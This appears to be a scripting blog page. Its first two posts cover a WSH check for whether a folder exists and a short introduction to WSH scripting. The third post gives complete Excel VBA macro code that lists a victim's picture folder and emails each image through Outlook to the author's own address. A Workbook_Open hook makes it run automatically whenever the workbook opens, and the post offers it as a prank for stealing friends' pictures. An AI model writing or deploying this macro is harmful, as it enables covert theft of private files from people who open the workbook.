WSH script : to check if folder exist

To check if folder exist, you can use this code.

 Set objNetwork = CreateObject("Wscript.Network")
 strUser = objNetwork.UserName
'Change strPath to the intended folder
 strPath = "C:\Documents and Settings\" & strUser & "\Application Data\Microsoft\Templates"
 Set objFSO = CreateObject("Scripting.FileSystemObject")
 Wscript.Echo strUser  
 Wscript.Echo strPath
 If objFSO.FolderExists(strPath) Then
   Wscript.Echo "The folder exists."
 Else
   Wscript.Echo "The folder does not exist."  
 End If

WSH script : Introduction

WSH (Windows Script Host) is a scripting language that enable us to do automation for  Microsoft Windows operating systems.

To start WSH doing scripting is really simple.

Open a notepad and wrote the script inside the notepad.

For example


WScript.Echo "Welcome to WSH scripting"
WScript.Quit

Rename the file to .vbs. For example Hello_world.vbs
To run the script, just double click on the .vbs file.
The result should show a pop up like this








In case you need to do editing for your script, right click
on the .vbs file and select edit. It should open the file
using notepad.

EXCEL macro : hacking your friends computer and stealing their picture

Yes, you read the title right. You can play pranks on your friends and steal their pictures.

Did you notice why excel always emphasize you to run macro from trusted source. You can really do nasty thing such as planting a key logger or virus inside a pc, stealing information, deleting files ,etc with EXCEL macro.

I wrote this code for self testing and learning purpose. You can try it at your own risk

What this code will do,
1) Access your "My Picture" folder. In this example I target the "Sample Pictures" folder
2) List down all the file you have inside the "Sample Picture" folder and save it to ScriptOutput.txt.
3) Import the file to excel sheet
4) Send mail to designated mail address with picture as attachments

Code for module
=====================================================


 Sub stealingpic()  
 Dim fso, folder, files, OutputFile  
 Dim strPath  
 Dim wbI As Workbook, wbO As Workbook  
 Dim wsI As Worksheet  
 'Define desktop path  
   Myuser = Environ("userprofile")  
   Myuserdesktop = Myuser & "\Desktop"  
 ' Create a FileSystemObject  
   Set fso = CreateObject("Scripting.FileSystemObject")  
 ' Define folder we want to list files from. You can change the folder name  
   strPath = "C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures"  
   Set folder = fso.GetFolder(strPath)  
   Set files = folder.files  
 ' Create text file to output test data  
   Set OutputFile = fso.CreateTextFile(Myuserdesktop & "\ScriptOutput.txt", True)  
 ' Loop through each file  
   For Each Item In files  
  ' Output file properties to a text file  
  OutputFile.WriteLine (Item.Name)  
   Next  
 ' Close text file  
   OutputFile.Close  
 'to import ScriptOutput.txt to current Excel workbook  
   Set wbI = ThisWorkbook  
   Set wsI = wbI.Sheets("Sheet1") '<~~ Sheet where you want to import  
   Set wbO = Workbooks.Open(Myuserdesktop & "\ScriptOutput.txt")  
   wbO.Sheets(1).Cells.Copy wsI.Cells  
   wbO.Close SaveChanges:=False  
   Sheet1.Activate  
   Sheet1.Columns("A:A").Select  
 'deleting the .ini file from list  
   Selection.Find(What:=".ini", After:=ActiveCell, LookIn:=xlFormulas, LookAt:= _  
   xlPart, SearchOrder:=xlByRows, SearchDirection:=xlNext, MatchCase:=False).Activate  
   ActiveCell.Select  
   Selection.Delete  
    LastRow = ActiveCell.SpecialCells(xlCellTypeLastCell).Row  
 'Sending mail with the pictures as attachments  
 For i = 1 To LastRow  
   If Sheet1.Cells(i, 1) = " " Then  
   End  
   Else  
   Set App = CreateObject("Outlook.Application")  
   Set itm = App.CreateItem(olMailItem)  
   With itm  
   esubject = "i am stealing your picture"  
   file = Sheet1.Cells(i, 1).Value  
   Fileiwant = strPath & "\" & file  
   If Fileiwant = strPath & "\" Then  
   End  
   End If  
   sAttachment = Fileiwant  
   .Subject = esubject  
   .To = "your mail@gmail.com"  
   .cc = ccto  
   .Attachments.Add (Fileiwant)  
   .send  
   Set App = Nothing  
   Set itm = Nothing  
   End With  
   End If  
 Next i  
 End Sub  
=====================================================

To automate the task whenever the workbook is open, put this code inside This Workbook

Code for This Workbook
=====================================================
 Private Sub Workbook_Open()  
 stealingpic  
 End Sub  
=====================================================